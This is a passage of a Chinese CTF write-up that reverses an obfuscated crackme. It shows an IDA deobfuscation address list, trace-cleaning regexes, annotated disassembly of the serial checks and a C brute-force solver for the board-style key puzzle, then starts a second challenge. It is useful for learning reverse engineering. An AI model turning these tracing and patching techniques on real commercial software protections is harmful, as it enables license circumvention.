37db2,0x140021128,0x1400e549d,0x140088782,0x140069be7,0x14004c42b,0x140044fae,0x1400533d0,0x14006bf6a,0x1400a0c6c,0x14003a608,0x14001cae6,0x1400f63e6,0x1400affb6,0x14000d8f7,0x14003f111,0x140046bcf,0x140066b81,0x14006734f,0x140063405,0x14005c245,0x1400a8f62,0x140050474,0x14006b372,0x1400e9fea,0x1400f5667,0x1400ba5aa,0x140021277,0x1400f8634,0x1400bcce5,0x1400386f9,0x1400f5741,0x140040fed,0x1400ae5a0,0x1400de1b6,0x1400127b9,0x1400afa4c,0x14009cbfe,0x14004d06f,0x1400f74bb,0x1400b0bad,0x1400aa0b4,0x1400e86dc,0x14003d6b8,0x1400407ed,0x1400ee996,0x14006b83d,0x1400932f0,0x14001c061,0x140020e62,0x14007c505,0x14004c19b,0x1400403f6,0x14003d086,0x1400609dd,0x1400645e4,0x14002ade3,0x1400201b3,0x1400585f8,0x1400344a2,0x14003746d,0x140093ae9,0x1400f8f00,0x14003cb4b,0x1400a0472,0x14004cc27,0x1400a720f,0x140062b19,0x1400d7e9d,0x140035b53,0x1400489eb,0x1400c93d1,0x140049b13,0x1400b6994,0x1400dc2a0,0x1400b1d93,0x14007a048,0x1400bbdb4,0x140093534,0x1400a939a,0x140065701,0x1400ac86b,0x14003c7f8,0x1400b2b4d,0x1400e5d05,0x1400c9ee6,0x1400961bf,0x1400d1abe,0x1400e6ac8,0x1400c8f1f,0x14005e050,0x140095e85,0x1400610a1,0x14003a0b5,0x1400cda74,0x14009367b,0x1400c26a0,0x1400b3149,0x140024323,0x14000234c,0x1400175a1,0x14001a8f0,0x1400a1493,0x140052dc1,0x1400cfa4f,0x1400c82e5,0x14008e488,0x140026895,0x1400d667c,0x14002cd55,0x1400f5c45,0x14008bf75,0x140010075,0x1400190b3,0x1400de7d0,0x14008d5d4,0x1400e4a0c,0x1400a7382,0x140037876,0x1400d5016,0x1400c7b84,0x14003ad82,0x140065331,0x140013029,0x1400b4f3a,0x14008c9ee,0x1400c376e,0x1400f95db,0x14003eb8e,0x140070774,0x140051198,0x1400bd38a,0x14008c893,0x140041e14,0x140092f4a,0x1400e487b,0x1400f75f6,0x140021d1b,0x140013251,0x14005047c,0x140028abd,0x1400e5392,0x1400a8349,0x14007619b,0x14004cfaf,0x140051b04,0x140020bc7,0x1400122e2,0x140079ad8,0x1400c5aa9,0x14008fdb8,0x1400b6b57,0x1400ef67c,0x14008239c,0x14008f521,0x140084df2,0x1400d203c,0x1400108a1,0x1400e399d,0x140021f1c,0x14001d98f,0x1400d9e3c,0x1400a86dd,0x1400ce809,0x140032394,0x140093660,0x14001f168,0x14009aabc,0x1400ed298,0x1400dc6f5,0x140002691,0x1400b603b,0x14009c76a,0x140053a4f,0x1400411dc,0x1400411e2,0x1400cf6b9,0x140049b81,0x140053fcb,0x1400fa16d,0x14001d49c,0x14002d10f,0x14009644f,0x140068922,0x1400f734a,0x1400195f6,0x1400b932b,0x1400a7f82,0x140020c11,0x1400d1807,0x14006b86f,0x1400a0e4f,0x140033127,0x1400db36d,0x14005cf3b,0x14005d401,0x1400d70e7,0x14006b0e0,0x14009b72b,0x14004f9a3,0x1400cb0a9,0x1400d9db0,0x1400677e0,0x1400113c0,0x1400e0c75,0x140042cfe,0x14000bcd7,0x14009a73b,0x1400b0a29,0x1400a25e7,0x1400de3af,0x140097af0,0x14000b885,0x1400e2a2a,0x1400fa18e,0x1400017a2,0x1400f7e0d,0x1400e08ef,0x14008b954,0x140039307,0x140080b6f,0x140017839,0x140062a08,0x140019442,0x1400b5921,0x140011462,0x1400f9d12,0x1400d91a0,0x140012fa9,0x140067ef0,0x1400b7c3d,0x1400752dd,0x14002715b,0x140010b61,0x1400e9d43,0x1400f0464,0x1400ded5f,0x1400843dd,0x1400843e1,0x14008020d,0x140028484,0x1400f8380,0x140053e38,0x140036180,0x140080d39,0x1400a6c18,0x1400b6324,0x1400de837,0x1400a7352,0x14007cd16,0x1400f0f20,0x14007cfdd,0x14009002f,0x140080a00,0x1400f1551,0x1400be82f,0x1400a9650,0x1400f84de,0x140017f67,0x14008e5cd,0x140030dea,0x1400adcb7,0x1400857c4,0x1400025b9,0x1400b6283,0x1400ac98b,0x1400d22ff,0x14004e3ca,0x140099671,0x140099677,0x14000391a,0x14007c539,0x1400bb3c7,0x14008f046,0x1400a978f,0x14009b70f,0x1400a6b74,0x140045f2e,0x140037db2,0x140021128,0x1400e549d,0x140088782,0x140069be7,0x1400021e4,0x14005f397,0x140064bf6,0x140025c2d,0x140017f67,0x14008e5cd,0x140030dea,0x1400adcb7,0x1400857c4,0x1400025b9,0x1400b6283,0x1400ac98b,0x1400d22ff,0x14004e3ca,0x140099671,0x140099677,0x14000391a,0x14007c539,0x1400bb3c7,0x14008f046,0x1400a978f,0x14009b70f,0x1400a6b74,0x140045f2e,0x140037db2,0x140021128,0x1400e549d,0x140088782,0x140069be7,0x1400ce142,0x140076982,0x1400453d7,0x140078961,0x1400a0c6c,0x14003a608,0x14001cae6,0x1400f63e6,0x1400affb6,0x14000d8f7,0x14003f111,0x140046bcf,0x140066b81,0x14006734f,0x140063405,0x14005c245,0x1400a8f62,0x140050474,0x14006b372,0x1400e9fea,0x1400f5667,0x1400ba5aa,0x140021277,0x1400f8634,0x1400bcce5,0x1400386f9,0x1400f5741,0x140040fed,0x1400ae5a0,0x1400de1b6,0x1400127b9,0x1400afa4c,0x14009cbfe,0x14004d06f,0x1400f74bb,0x1400b0bad,0x1400aa0b4,0x1400e86dc,0x14003d6b8,0x1400407ed,0x1400ee996,0x14006b83d,0x1400932f0,0x14001c061,0x140020e62,0x14007c505,0x14004c19b,0x1400403f6,0x14003d086,0x1400609dd,0x1400645e4,0x14002ade3,0x1400201b3,0x1400585f8,0x1400344a2,0x14003746d,0x140093ae9,0x1400f8f00,0x14003cb4b,0x1400a0472,0x14004cc27,0x1400a720f,0x140062b19,0x1400d7e9d,0x140035b53,0x1400489eb,0x1400c93d1,0x140049b13,0x1400b6994,0x1400dc2a0,0x1400b1d93,0x14007a048,0x1400bbdb4,0x140093534,0x1400a939a,0x140065701,0x1400ac86b,0x14003c7f8,0x1400b2b4d,0x1400e5d05,0x1400c9ee6,0x1400961bf,0x1400d1abe,0x1400e6ac8,0x1400c8f1f,0x14005e050,0x140095e85,0x1400610a1,0x14003a0b5,0x1400cda74,0x14009367b,0x1400c26a0,0x1400b3149,0x140024323,0x14000234c,0x1400175a1,0x14001a8f0,0x1400a1493,0x140052dc1,0x1400cfa4f,0x1400c82e5,0x14008e488,0x140026895,0x1400d667c,0x14002cd55,0x1400f5c45,0x14008bf75,0x140010075,0x1400190b3,0x1400de7d0,0x14008d5d4,0x1400e4a0c,0x1400a7382,0x140037876,0x1400d5016,0x1400c7b84,0x14003ad82,0x140065331,0x140013029,0x1400b4f3a,0x14008c9ee,0x1400c376e,0x1400f95db,0x14003eb8e,0x140070774,0x140051198,0x1400bd38a,0x14008c893,0x140041e14,0x140092f4a,0x1400e487b,0x1400f75f6,0x140021d1b,0x140013251,0x14005047c,0x140028abd,0x1400e5392,0x1400a8349,0x14007619b,0x14004cfaf,0x140051b04,0x140020bc7,0x1400122e2,0x140079ad8,0x1400c5aa9,0x14008fdb8,0x1400b6b57,0x1400ef67c,0x14008239c,0x14008f521,0x140084df2,0x1400d203c,0x1400108a1,0x1400e399d,0x140021f1c,0x14001d98f,0x1400d9e3c,0x1400a86dd,0x1400ce809,0x140032394,0x140093660,0x14001f168,0x14009aabc,0x1400ed298,0x1400dc6f5,0x140002691,0x1400b603b,0x14009c76a,0x140053a4f,0x1400411dc,0x1400411e2,0x1400cf6b9,0x140049b81,0x140053fcb,0x1400fa16d,0x14001d49c,0x14002d10f,0x14009644f,0x140068922,0x1400f734a,0x1400195f6,0x1400b932b,0x1400a7f82,0x140020c11,0x1400d1807,0x14006b86f,0x1400a0e4f,0x140033127,0x1400db36d,0x14005cf3b,0x14005d401,0x1400d70e7,0x14006b0e0,0x14009b72b,0x14004f9a3,0x1400cb0a9,0x1400d9db0,0x1400677e0,0x1400113c0,0x1400e0c75,0x140042cfe,0x14000bcd7,0x14009a73b,0x1400b0a29,0x1400a25e7,0x1400de3af,0x140097af0,0x14000b885,0x1400e2a2a,0x1400fa18e,0x1400017a2,0x1400f7e0d,0x1400e08ef,0x14008b954,0x140039307,0x140080b6f,0x140017839,0x140062a08,0x140019442,0x1400b5921,0x140011462,0x1400f9d12,0x1400d91a0,0x140012fa9,0x140067ef0,0x1400b7c3d,0x1400752dd,0x14002715b,0x140010b61,0x1400e9d43,0x1400f0464,0x1400ded5f,0x1400843dd,0x1400843e1,0x14008020d,0x140028484,0x1400f8380,0x140053e38,0x140036180,0x140080d39,0x1400a6c18,0x1400b6324,0x1400de837,0x1400a7352,0x14007cd16,0x1400f0f20,0x14007cfdd,0x14009002f,0x140080a00,0x1400f1551,0x14006fb9d,0x140013ffa,0x140064e88,0x140017f67,0x14008e5cd,0x140030dea,0x1400adcb7,0x1400857c4,0x1400025b9,0x1400b6283,0x1400ac98b,0x1400d22ff,0x14004e3ca,0x140099671,0x140099677,0x14000391a,0x14007c539,0x1400bb3c7,0x14008f046,0x1400a978f,0x14009b70f,0x1400a6b74,0x140045f2e,0x140037db2,0x140021128,0x1400e549d,0x140088782,0x140069be7,0x140064e90,0x140034e9b,0x140074ce9,0x1400ee88d,0x140017f67,0x14008e5cd,0x140030dea,0x1400adcb7,0x1400857c4,0x1400025b9,0x1400b6283,0x1400ac98b,0x1400d22ff,0x14004e3ca,0x140099671,0x140099677,0x14000391a,0x14007c539,0x1400bb3c7,0x14008f046,0x1400a978f,0x14009b70f,0x1400a6b74,0x140045f2e,0x140037db2,0x140021128,0x1400e549d,0x140088782,0x140069be7,0x1400d8db6,0x14006cd36,0x1400c0765,0x140061681,0x1400a0c6c,0x14003a608,0x14001cae6,0x1400f63e6,0x1400affb6,0x14000d8f7,0x14003f111,0x140046bcf,0x140066b81,0x14006734f,0x140063405,0x14005c245,0x1400a8f62,0x140050474,0x14006b372,0x1400e9fea,0x1400f5667,0x1400ba5aa,0x140021277,0x1400f8634,0x1400bcce5,0x1400386f9,0x1400f5741,0x140040fed,0x1400ae5a0,0x1400de1b6,0x1400127b9,0x1400afa4c,0x14009cbfe,0x14004d06f,0x1400f74bb,0x1400b0bad,0x1400aa0b4,0x1400e86dc,0x14003d6b8,0x1400407ed,0x1400ee996,0x14006b83d,0x1400932f0,0x14001c061,0x140020e62,0x14007c505,0x14004c19b,0x1400403f6,0x14003d086,0x1400609dd,0x1400645e4,0x14002ade3,0x1400201b3,0x1400585f8,0x1400344a2,0x14003746d,0x140093ae9,0x1400f8f00,0x14003cb4b,0x1400a0472,0x14004cc27,0x1400a720f,0x140062b19,0x1400d7e9d,0x140035b53,0x1400489eb,0x1400c93d1,0x140049b13,0x1400b6994,0x1400dc2a0,0x1400b1d93,0x14007a048,0x1400bbdb4,0x140093534,0x1400a939a,0x140065701,0x1400ac86b,0x14003c7f8,0x1400b2b4d,0x1400e5d05,0x1400c9ee6,0x1400961bf,0x1400d1abe,0x1400e6ac8,0x1400c8f1f,0x14005e050,0x140095e85,0x1400610a1,0x14003a0b5,0x1400cda74,0x14009367b,0x1400c26a0,0x1400b3149,0x140024323,0x14000234c,0x1400175a1,0x14001a8f0,0x1400a1493,0x140052dc1,0x1400cfa4f,0x1400c82e5,0x14008e488,0x140026895,0x1400d667c,0x14002cd55,0x1400f5c45,0x14008bf75,0x140010075,0x1400190b3,0x1400de7d0,0x14008d5d4,0x1400e4a0c,0x1400a7382,0x140037876,0x1400d5016,0x1400c7b84,0x14003ad82,0x140065331,0x140013029,0x1400b4f3a,0x14008c9ee,0x1400c376e,0x1400f95db,0x14003eb8e,0x140070774,0x140051198,0x1400bd38a,0x14008c893,0x140041e14,0x140092f4a,0x1400e487b,0x1400f75f6,0x140021d1b,0x140013251,0x14005047c,0x140028abd,0x1400e5392,0x1400a8349,0x14007619b,0x14004cfaf,0x140051b04,0x140020bc7,0x1400122e2,0x140079ad8,0x1400c5aa9,0x14008fdb8,0x1400b6b57,0x1400ef67c,0x14008239c,0x14008f521,0x140084df2,0x1400d203c,0x1400108a1,0x1400e399d,0x140021f1c,0x14001d98f,0x1400d9e3c,0x1400a86dd,0x1400ce809,0x140032394,0x140093660,0x14001f168,0x14009aabc,0x1400ed298,0x1400dc6f5,0x140002691,0x1400b603b,0x14009c76a,0x140053a4f,0x1400411dc,0x1400411e2,0x1400cf6b9,0x140049b81,0x140053fcb,0x1400fa16d,0x14001d49c,0x14002d10f,0x14009644f,0x140068922,0x1400f734a,0x1400195f6,0x1400b932b,0x1400a7f82,0x140020c11,0x1400d1807,0x14006b86f,0x1400a0e4f,0x140033127,0x1400db36d,0x14005cf3b,0x14005d401,0x1400d70e7,0x14006b0e0,0x14009b72b,0x14004f9a3,0x1400cb0a9,0x1400d9db0,0x1400677e0,0x1400113c0,0x1400e0c75,0x140042cfe,0x14000bcd7,0x14009a73b,0x1400b0a29,0x1400a25e7,0x1400de3af,0x140097af0,0x14000b885,0x1400e2a2a,0x1400fa18e,0x1400017a2,0x1400f7e0d,0x1400e08ef,0x14008b954,0x140039307,0x140080b6f,0x140017839,0x140062a08,0x140019442,0x1400b5921,0x140011462,0x1400f9d12,0x1400d91a0,0x140012fa9,0x140067ef0,0x1400b7c3d,0x1400752dd,0x14002715b,0x140010b61,0x1400e9d43,0x1400f0464,0x1400ded5f,0x1400843dd,0x1400843e1,0x14008020d,0x140028484,0x1400f8380,0x140053e38,0x140036180,0x140080d39,0x1400a6c18,0x1400b6324,0x1400de837,0x1400a7352,0x14007cd16,0x1400f0f20,0x14007cfdd,0x14009002f,0x140080a00,0x1400f1551,0x1400255b8,0x1400e31b1,0x1400875e0,0x1400ba9cc,0x1400aca2c,0x1400b8ef7,0x14008a498,0x14004849e,0x1400ec496,0x14007afe0,0x1400920af,0x1400c9bcb,0x1400e18bb,0x1400b873b,0x14000f17c,0x140026de4,0x1400ed51b,0x140002a2b,0x1400866d4,0x140070872,0x14005b83e,0x14009341f,0x1400b74ac,0x14005bf73,0x1400d8fa2,0x140058517,0x14004545f,0x1400b80cb,0x1400b1e14,0x1400cb869,0x1400b78c0,0x1400f5b05,0x140017e14,0x1400a3f95,0x14007816c,0x140031b63,0x14004bd45,0x1400f6131,0x1400b3d6f,0x140055cca,0x140033675,0x14006781a,0x1400528e0,0x14005890e,0x1400b7575,0x14006d905,0x1400add65,0x1400f6918,0x140029440,0x1400201b3,0x1400585f8,0x1400344a2,0x14003746d,0x140093ae9,0x1400f8f00,0x14003cb4b,0x1400a0472,0x14004cc27,0x1400a720f,0x140062b19,0x1400d7e9d,0x140035b53,0x1400489eb,0x1400c93d1,0x140049b13,0x1400b6994,0x1400dc2a0,0x1400b1d93,0x14007a048,0x1400bbdb4,0x140093534,0x1400a939a,0x140065701,0x1400ac86b,0x14003c7f8,0x1400b2b4d,0x1400e5d05,0x1400618cc,0x1400d4c95,0x14008b527,0x140024dd7,0x14002893c,0x1400cee23,0x1400c8251,0x1400bcd83,0x1400d591a,0x140084140,0x140027a64,0x14008c361,0x1400DFC26,0x140084AF9,0x14000E2D5,0x14000EEBD,0x1400889B6,0x14006390E,0x14007C4CD,0x140012781,0x140048357,0x1400596FF,0x14008807F,0x140014acc,0x140022c16,0x1400e6a73,0x140014D26,0x140091363, 0x140014acc,0x14006E7A8,0x14004785B,0x1400E2890,0x14008334E,0x140061f8b,0x1400620f3, 0x1400d75d7,0x1400d50cf,0x140082b78,0x1400d1579,0x140024af6,0x14006cf3b,0x1400d0f8e, 0x14006689C,0x140057B79,0x1400D58AC,0x140001a06,0x1400b5d46,0x1400e1e42,0x1400B9910, 0x14002A213,0x1400BC169,0x14003AB45,0x14006D099,0x14006b00b,0x1400c86f1,0x1400f9bfa, 0x140021245,0x1400EC7AE,0x1400A5B1A,0x1400C9E5E,0x140039D11]
path = []
for i in nowlist:
# print(hex(i))
AutoMark(i,AU_CODE)
# fuckret(i)
if fuckret(i) > 0:
path.append(i)

0x02 patch etc

去完以上混淆以后

再尝试 trace

可以利用以下正则表达式去掉 trace 文本中的很多无用信息

1
2
3
^(.*)jmp(.*)\r\n
^(.*)nop(.*)\r\n
^(.*)00007FFF(.*)\r\n

然后可以发现还剩下一些 pop retn 没有去掉

没有去掉的原因呢 是因为仍然有变种的 pop retn

这种变种的 pop retn 中插了有意义的代码 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
push    rax                     	
push rax
pushfq
push rax
push rax
pushfq
call $+5
pop rax
xor rax, 6665h
mov [rsp+10h], rax
popfq
pop rax
pop rax
add rax, 36F74h
mov [rsp+10h], rax
popfq
pop rax
mov eax, 1###有用的代码
retn

这种混淆要识别有用的代码 而且各个有用的代码都不相同 有的甚至是嵌套 pop ret 给识别带来很大的困难

考虑到此时已经可以大概看的了汇编了 于是就不准备再继续写 patch 了

0x1 还原

直接调试被 patch 以后的程序 F9运行到挂起等待输入 点击暂停 随便输入以后会断下来

按 alt+F9 回到用户代码段

1
000000014008C365	call r10//scanf

在system函数下断点 从这里开始 trace

0x10 检查长度

把结果中的 nop jmp 系统函数地址的代码 全部替换为空

尝试搜索一下cmp 发现一个可疑的地方

回到没去掉系统段的函数的时候

再调试确认一下输入 84 长度的假码 rax == 54 很明显这里的逻辑就是

1
2
3
if(strlen(input) != 0x54)
print(' >>> 阁下的数学成绩堪忧,请回吧。')
system("pause")

0x11 输入范围

继续往下 trace

trace完用前面的那个找ret的下一行的脚本 再用前面的去混淆 保存 再trace就很干净了

很容易可以看见一个循环 找到几句关键代码

1
2
3
4
5
6
140027B39   cmp eax,30
1400CBFAD cmp eax,39
1400A27A9 cmp eax,41
1400A07D9 cmp eax,5A
1400BE069 cmp qword ptr ss:[rsp+B0],54
140069753 jge patch3.14006976C

这里很明显就是比较输入范围是 0-9 A-Z

0x12 转换输入

再从循环尾往下找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1400731D7	mov byte ptr ss:[rsp+7],cl
1400938D7 cmp eax,30
14001A372 cmp eax,39
140069CAB sub rax,30

14000224D cmp eax,41
1400B2DC9 cmp eax,5A
14004B966 sub rax,41
140094D9C add rax,A

14007F965 mov qword ptr ss:[rsp+A8],rax
140054381 cmp qword ptr ss:[rsp+A8],2A

1400BA991 imul rax,rax,2A

观察了一下分支是从这个比较错开的

1
2
1400906DB	cmp rax,qword ptr ss:[rsp+rcx*8+EC0]
1400A9B93 jg patch3.1400A9BAC

查看了一下寄存器这里比较的是1AF 与25B

再查询了一下上下文

我的输入是 ABCDEFABCDEF….

1AF 是由 0xA*0x2a + 0xB算来的 25B是由0xE * 0x2a + 0xF

同时这里的循环计次变量为3

可以推算出 把输入从 str 变成了 hex 之后

1
2
3
if( i != 0)
if( input_hex[i]*0x2a+input_hex[i+1] < input_hex[i-2]*0x2a+input_hex[i-1] )
GG

当前这一位前一位 * 0x2a + 后一位

也就是把 hex 的两位看成一位来运算

此时感觉有点不对 输入10位数字加上26位字母只有36位 而他比较42位感觉还有几位输入

输入了一些不是上面范围的字符 再跑了一下 发现了剩下的几位

1
2
3
4
5
6
140045713   cmp eax,2B +
140071B51 cmp eax,2D -
1400F5DA9 cmp eax,2A *
140014C52 cmp eax,2F /
140081C7A cmp eax,25 %
140003A93 cmp eax,3D =

转换之后是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1400F5A62 | 83F8 2B                  | cmp eax,2B
140003A25 | 48:C74424 08 24000000 | mov qword ptr ss:[rsp+8],24

140096D4F | 83F8 2D | cmp eax,2D
1400528A1 | 48:C74424 08 25000000 | mov qword ptr ss:[rsp+8],25

14001E900 | 83F8 2A | cmp eax,2A
14005337E | 48:C74424 08 26000000 | mov qword ptr ss:[rsp+8],26

1400F3D8E | 83F8 2F | cmp eax,2F
14000C5FA | 48:C74424 08 27000000 | mov qword ptr ss:[rsp+8],27

140064EDF | 83F8 25 | cmp eax,25
1400AEF1C | 48:C74424 08 28000000 | mov qword ptr ss:[rsp+8],28

1400C9DE1 | 83F8 3D | cmp eax,3D
14007B859 | 48:C74424 08 29000000 | mov qword ptr ss:[rsp+8],29

很好现在已经把输入范围和输入转换搞定了 继续往下看

0x13 重复检查

再往下发现还是走不下去

在走不下去的附近有如下逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
14007D9D5	mov qword ptr ss:[rsp+A0],0
140002310 cmp qword ptr ss:[rsp+A0],2A
140001F98 mov rax,qword ptr ss:[rsp+A0]

14002D5AC mov rax,qword ptr ss:[rsp+rax*8+EC0]
140073E00 mov ecx,2A
14009EA4F idiv rcx
14006EC35 mov qword ptr ss:[rsp+98],rdx //[rsp+98]=change[i]%0x2A
140060863 mov rdx,qword ptr ss:[rsp+A0]
140063300 mov rdx,qword ptr ss:[rsp+rdx*8+EC0]
140017083 mov rax,rdx
1400BCF6C idiv rcx
1400BF3EF mov qword ptr ss:[rsp+90],rax //[rsp+90]=change[i]/0x2A

1400BF3EF mov rax,qword ptr ss:[rsp+98]
14004B8F8 test byte ptr ss:[rsp+rax+E90],1
14005224C mov rax,qword ptr ss:[rsp+90]
140015F89 test byte ptr ss:[rsp+rax+E60],1

140027ACE mov rax,qword ptr ss:[rsp+98]
1400E4C50 mov byte ptr ss:[rsp+rax+E90],1
1400AC622 mov rax,qword ptr ss:[rsp+90]
1400B5248 mov byte ptr ss:[rsp+rax+E60],1
140037CD0 mov rax,qword ptr ss:[rsp+A0]
140026ABB add rax,1
1400258E6 mov qword ptr ss:[rsp+A0],rax

这里得取余和除法其实是把 hex形式 再重新提取出来了

然后以其作为数组下标,去一个表中判断

如果没有被填过 那就填入并继续循环

如果已经被填过 那就GG

用代码来说的话就是

1
2
3
4
5
6
7
8
table1[0x2a]={}
table2[0x2a]={}
for i in range(0,len(input_hex),2):
if table1[input_hex[i]] == 0 and table2[input_hex[i+1]] == 0:
table1[input_hex[i]] = 1
table2[input_hex[i+1]] = 1
else
GG

用人话来理解就是 奇数位 和 偶数位 的输入序列 每一个输入只允许出现一次

结合此两位大于前两位的规则

可以知道奇数位已经是确定为

0123456….+-*/%=

0x14 落子检查

输入满足当前条件的输入再继续往下 trace

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
1400C86F5   mov qword ptr ss:[rsp+88],0             
1400D320E cmp qword ptr ss:[rsp+88],2A //循环1
140056B2F jge patch3.140056B48 //[rsp+88] = i

1400CBE10 mov rax,qword ptr ss:[rsp+88]
140052E9D add rax,1
140078F7F mov qword ptr ss:[rsp+80],rax //[rsp+80] = j = i + 1
1400286DB cmp qword ptr ss:[rsp+80],2A //循环2
14000D91A jge patch3.14000D933
//change == rsp+EC0
1400F755C mov rax,qword ptr ss:[rsp+88]
140098656 mov rax,qword ptr ss:[rsp+rax*8+EC0]
140001584 cqo
1400A4ADC mov ecx,2A
14001F9E4 idiv rcx
14009D9EA mov r8,qword ptr ss:[rsp+80]
1400EDA1E mov r8,qword ptr ss:[rsp+r8*8+EC0]
14000EA19 mov rax,r8
1400A04C3 mov qword ptr ss:[rsp+38],rdx //[rsp+38] = change[i] % 0x2a
140037898 cqo
14008A550 idiv rcx
1400399F2 mov r8,qword ptr ss:[rsp+38]
1400D4106 sub r8,rdx //[rsp+78] = [rsp+38] - change[j] % 0x2a
1400901F7 mov qword ptr ss:[rsp+78],r8
14009DAAD mov rdx,qword ptr ss:[rsp+88]
14000E4E3 mov rdx,qword ptr ss:[rsp+rdx*8+EC0]
1400EE409 mov rax,rdx
1400C5EE9 cqo
140020832 idiv rcx
14008C074 mov r8,qword ptr ss:[rsp+80]
14006079F mov r8,qword ptr ss:[rsp+r8*8+EC0]
140013395 mov qword ptr ss:[rsp+30],rax //[rsp+30] = change[j] / 0x2a
1400C5CE1 mov rax,r8
14002FFF8 cqo
14007539E idiv rcx
14006BF8A mov rcx,qword ptr ss:[rsp+30]
1400DB4A6 sub rcx,rax
1400E127D mov qword ptr ss:[rsp+70],rcx //[rsp+70] = [rsp+30] - change[i] / 0x2a
140073B88 cmp qword ptr ss:[rsp+78],0
14006437E jge patch3.140064397 //若满足条件跳转 下面这一段不执行

1400BFF7E xor eax,eax
1400EACB4 mov ecx,eax
140080A4A mov rdx,rcx
1400A7967 sub rdx,qword ptr ss:[rsp+78]
1400517AC mov qword ptr ss:[rsp+78],rdx //[rsp+78] = -[rsp+78]
14000B3C6 sub rcx,qword ptr ss:[rsp+70]
14008DA3A mov qword ptr ss:[rsp+70],rcx //[rsp+70] = -[rsp+70]

1400B368C mov rax,qword ptr ss:[rsp+70]
140079E70 add rax,29
1400DE855 mov qword ptr ss:[rsp+70],rax //[rsp+70] += 0x29
14007C0C8 imul rax,qword ptr ss:[rsp+70],2A
1400DC9B8 lea rcx,qword ptr ss:[rsp+C0] //[rsp+C0] == table
140038FE8 add rcx,rax
140067202 mov rax,qword ptr ss:[rsp+78]
14008B8FD test byte ptr ds:[rcx+rax],1 //table[[rsp+70] * 0x2a + [rsp+78]] == 1 -> gg
140063B11 je patch3.140063B2A

转成伪代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
ih = input_hex
for i in range(0,42*2,2):
for j in range(i+2,42*2,2):
v70 = ih[j] - ih[i]
v78 = ih[j+1] - ih[i+1]
if v78 < 0 :
v78 = -v78
v70 = -v70
index = (v70 + 41) * 42 + v78
if table[index] != 0:
table[index] = 0
else:
GG

结合题目描述 这应该是模拟了一个棋盘 而 input_hex 每两位是一个 point(x,y)

棋盘大小是 4242 也就是题目所提示的 36\49

而落子方式并非简单的 x,y 代入 而是以任意两点为基础

1
2
Y = (y' - y < 0) ?  flag = 1, y - y' : y' - y
X = (flag == 1 ? x - x' : x' - x) + 41

按此方式落子 若不重复 且全部子落完即可满足条件

考虑到用爆破来解这个题复杂度一定很高 而且也有可能有多解

猜测后面还有限制条件没找到

0x15 多解检查

再在外层循环判断尾的时候直接跳过 trace 赫然就发现

1
2
3
4
5
6
7
140039540	lea rcx,qword ptr ss:[rsp+1010] 
1400CE591 lea rdx,qword ptr ds:[140004521]
//140004521 "02152S3X4Z5Q6C7T819/ADB%C*DL"
14004CACF mov r8d,1C
14004FED9 call qword ptr ds:[<&strncmp>]

140021803 cmp rcx,0

把比较结果再改掉 发现直接提示成功了

说明到这里程序的所有逻辑就已经完全 dump 完了

接下来就是如何解的问题了

0x2 解局

利用以上已知条件直接模拟爆破即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#include<stdio.h>
char table[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+-*/%=";
char flag[100] = "02152S3X4Z5Q6C7T819/ADB%C*DL";
int finx(char tofind)
{
if (tofind == 0)
return -1;
for (int i = 0; table[i]; ++i)
if (table[i] == tofind)
return i;
}

int toc(int ind)
{
return table[ind];
}

int check(char index, char fill)
{
for (int i = 0; i < index; ++i)
if (flag[i * 2 + 1] == fill)
return 0;//false if again

char ctable[5000] = {};

for (int i = 0; i < index * 2; i += 2)
{
int x = flag[i],
y = flag[i + 1];
for (int j = i + 2; j < index * 2; j += 2)
{
int x_ = flag[j],
y_ = flag[j + 1];

int tmp = y_ - y,
tmp2 = x_ - x;

if (tmp < 0)
{
tmp = -tmp;
tmp2 = -tmp2;
}
int indx = (tmp2 + 41) * 42 + tmp;

if (ctable[indx] == 0)
ctable[indx] = 1;
else
return 0;
}
}//check down

return 1;
}

void slove()
{
int index;
for (int i = 0; i < 42; ++i)
if (!flag[i * 2 + 1])
{
index = i * 2 + 1;
break;
}

for (int i = 0; i < 42 * 2; ++i)
{
if (flag[i] != 0)
flag[i] = finx(flag[i]);
else
flag[i] = -1;
}

for (int j = index / 2; j < 42; ++j)
{
int fflag = 0;

int st = flag[index];
if (st != -1)//pass the wrong way
st += 1;
else
st = 0;
for (int i = st; i < 42; ++i)
{
if (check(index / 2, i))
{
fflag = 1;
flag[index] = i;
index += 2;
flag[index] = -1;
break;
}
}
if (!fflag)//in this index all is cant check,so ret after
{
j -= 2;
index -= 2;
}
}

for (int i = 0; i < 42 * 2; ++i)
{
flag[i] = toc(flag[i]);
}
}

int main()
{

for (int i = 0; i < 42; ++i)
flag[i * 2] = toc(i);
slove();
printf("%s\n", flag);
}

大概20分钟可以爆破出来 懒得优化了 可以了

第七题 千里寻跟

第八题 众叛亲离

非预期解,利用了作者留下的漏洞(作者可能没想到?

入局

这题 IDA 直接 F5 不了,说 too big funtion

百度解决了以后 经过漫长的反编译

终于反编译出了看不懂的15000余行代码!!

通过字符串勉强找到了输入的地方

但是后面完全看不太懂的样子

看了graph 果然和题目名字非常的贴合

好了 可以丢进回收站了

发展

过了不久看见群里居然有人拿了一血了!!!

既然能在这么短时间内做出来,说明肯定不是常规解流程的,也就是说程序留有漏洞!

把题目从回收站里拿出来

通过字符串找到有可能是判断的地方

拿真码断一下 可以分析出

当ecx指向的位置为

00 00 00 01 00 02 00 03 …. 00 07

验证成功

尝试随便改动一位serial

更改了倒数第三位 可以看到 比较的序列只有1位改动了!!!

更改了倒数第四位 比较的序列号还是只有一位改动了!!!

即可且仔细观察可以发现 这里像是一个映射表的关系

